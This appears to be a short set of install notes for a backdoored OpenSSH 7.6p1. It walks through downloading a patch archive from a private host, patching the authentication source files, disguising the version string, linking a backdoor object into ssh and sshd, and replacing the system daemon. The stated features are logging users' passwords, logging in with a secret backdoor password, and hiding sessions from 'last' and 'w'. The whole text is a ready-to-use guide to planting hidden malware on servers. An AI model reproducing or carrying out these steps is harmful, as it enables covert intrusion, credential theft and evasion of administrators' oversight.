1. password logging
2. logon using a backdoor password
3. logon through the patched sshd results in nothing in output from last and w

donwload package

wget https://ftp4.usa.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-7.6p1.tar.gz
wget https://vps/openssh-7.6p1-patch.tar.gz

copy backdoor files and patch

cp openssh-7.6p1-patch/backdoor.* openssh-7.6p1
cd openssh-7.6p1

patch < backdoor.patch

patching file auth.c
patching file auth-pam.c
patching file auth-passwd.c
patching file sshconnect2.c
patching file sshlogin.c

Check and remember version of original openssh

ssh -V
OpenSSH_7.6p1, OpenSSL 1.0.2k-fips 26 Jan 2017

Change version.h

sed -i 's/#define SSH_VERSION\t"."/#define SSH_VERSION\t"OpenSSH_7.6"/' version.h
sed -i 's/#define SSH_PORTABLE\t"."/#define SSH_PORTABLE\t"p1"/' version.h

Install required library

yum -y install zlib-devel openssl-devel pam-devel

run configure

#Notice: Confirm the location of the original openssh and configure files installed. It's important for command ./configure --prefix
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5

add backdoor.o to Makefile

sed -i 's/ssh.o/ssh.o backdoor.o/' Makefile
sed -i 's/sshd.o/sshd.o backdoor.o/' Makefile

compile and install

make
make install

restart sshd server

sed -i 's/Type=.*/Type=fork/' /lib/systemd/system/sshd.service #if huge when restart sshd
systemctl daemon-reload #if need
systemctl restart sshd

view.c show the password record